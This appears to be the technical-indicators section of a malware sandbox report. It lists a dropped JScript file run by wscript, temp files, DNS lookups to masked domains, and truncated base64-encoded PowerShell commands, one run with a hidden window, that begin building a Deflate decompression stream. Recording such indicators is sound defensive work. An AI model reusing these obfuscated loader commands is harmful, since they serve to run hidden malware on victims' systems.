Technical Information
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\lsTtLpkMD.js"
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1396
- %WINDIR%\temp\lsttlpkmd.js
- %TEMP%\623208.cvr
- DNS ASK fo###ilz.com
- DNS ASK po####g5jqo3v8.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -En IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -En IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtA...' (with hidden window)